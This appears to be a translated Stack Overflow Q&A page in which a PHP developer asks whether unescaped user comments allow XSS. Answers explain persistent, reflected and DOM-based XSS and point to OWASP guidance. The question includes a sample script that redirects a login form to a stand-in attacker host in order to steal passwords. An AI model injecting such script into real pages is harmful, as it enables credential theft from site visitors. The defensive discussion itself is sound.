簡體   English   中英

用戶輸入的帶有Javascript的HTML會顯示給其他人,但不會轉義為HTML的XSS示例

[英]Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

我是PHP開發人員,並且我希望提高網站的安全性。

據我了解,以下是影響Web應用程序的兩種主要漏洞:

  • SQL注入
  • XSS

可以使用准備好的語句來修復SQL注入-簡單。

但是我仍然不太了解XSS-以下是XSS的示例嗎?

  • 包含用戶制作內容的頁面的頂部(站點范圍內)有一個登錄表單。
  • 用戶對頁面的輸入未轉義為HTML。
  • 用戶在頁面上發布以下內容(例如評論)...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • 一個無辜的用戶來到頁面,腳本執行。
  • 無辜的用戶意識到他們尚未登錄,然后將其詳細信息輸入表單。
  • 用戶的詳細信息發送到http://somehackysite.com/givemyourpw.php ,然后用戶的帳戶詳細信息被盜。

所以我在這里真的有三個問題:

  1. 這行得通嗎?
  2. 這是XSS嗎?
  3. 除了轉義HTML之外,開發人員還應采取任何預防XSS的措施嗎?

XSS攻擊有兩種類型:反射XSS和持久XSS攻擊。 您所描述的,網站用戶輸入保存在服務器端的數據,並為查看頁面的任何人呈現的數據,被認為是持久XSS。 如果您在帖子中有一個無法逃脫Javascript的評論框,或者我可以在其中添加任何內容的個人資料頁面,則可能會發生類似的攻擊。

另一類XSS攻擊是Reflected XSS。 這些稍微復雜一點,但是它們相當於URL中的參數之一,用於無法轉義的頁面。 它們經常出現在大型網站的“搜索”頁面之類的內容中。 您將獲得一個包含一些javascript的URL(對不起,我的示例在此處遭到了渲染器的破壞,因此我無法為您展示示例),並且該頁面將呈現javascript,這將允許某人制作惡意代碼網址。 在處理各種財務數據的網站上,這尤其危險。 想象一個有責任心的用戶,他總是檢查以確保他們將去往其銀行的寫鏈接,但是由於Reflected XSS攻擊,攻擊者能夠將其發送到其銀行網站上的合法頁面,但是該惡意軟件具有惡意代碼。

無論如何,您的示例都是Persistent XSS。 您不僅可以更改登錄表單發送用戶的位置,還可以利用類似的攻擊來做更邪惡的事情。 他們已經流行了很多年,例如從站點的個人區域抓取信息,或者與CSRF結合使用,以使經過身份驗證的用戶只需查看頁面即可進行操作。 不久前,有一些MySpace病毒做到了這一點,並且在配置文件之間傳播。

這是XSS嗎?

是的,這通常是注入漏洞 ,在這種特殊情況下,由於注入了JavaScript,因此被稱為XSS漏洞。

但是,這種注入缺陷會使一個用戶的輸入不加任何更改地反映給其他用戶,也可能導致其他攻擊,例如污損

這行得通嗎?

是的,這很有可能會起作用,因為原始代碼服務器會像網頁中的其他任何代碼一樣提供此代碼。 因此,就像該網站的作者是此代碼的創建者一樣,將被視為相同。

除了轉義HTML之外,開發人員還應采取任何預防XSS的措施嗎?

實際上,存在三種不同類型的XSS: 基於DOM的XSS反射的XSS存儲的/持久的XSS 您的示例是一個存儲/持久XSS漏洞,因為服務器會在每個請求中部署該漏洞。

一般規則是不信任任何用戶輸入。 也就是說,應該只允許有效的用戶輸入,或者在輸出之前對用戶輸入進行過濾(刪除無效值)或正確編碼(轉換無效值)。 有關更多信息,請參見OWASP的XSS備忘單

這是xss,我也相信是javascript注入
所以我認為這個鏈接會有所幫助

是的,這是基本的持久性XSS攻擊的示例。 在這種情況下,用戶不僅可以竊取憑據,還可以嘗試通過您的網站感染訪問者或垃圾郵件鏈接。

OWASP XSS預防指南是一個好的開始。 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM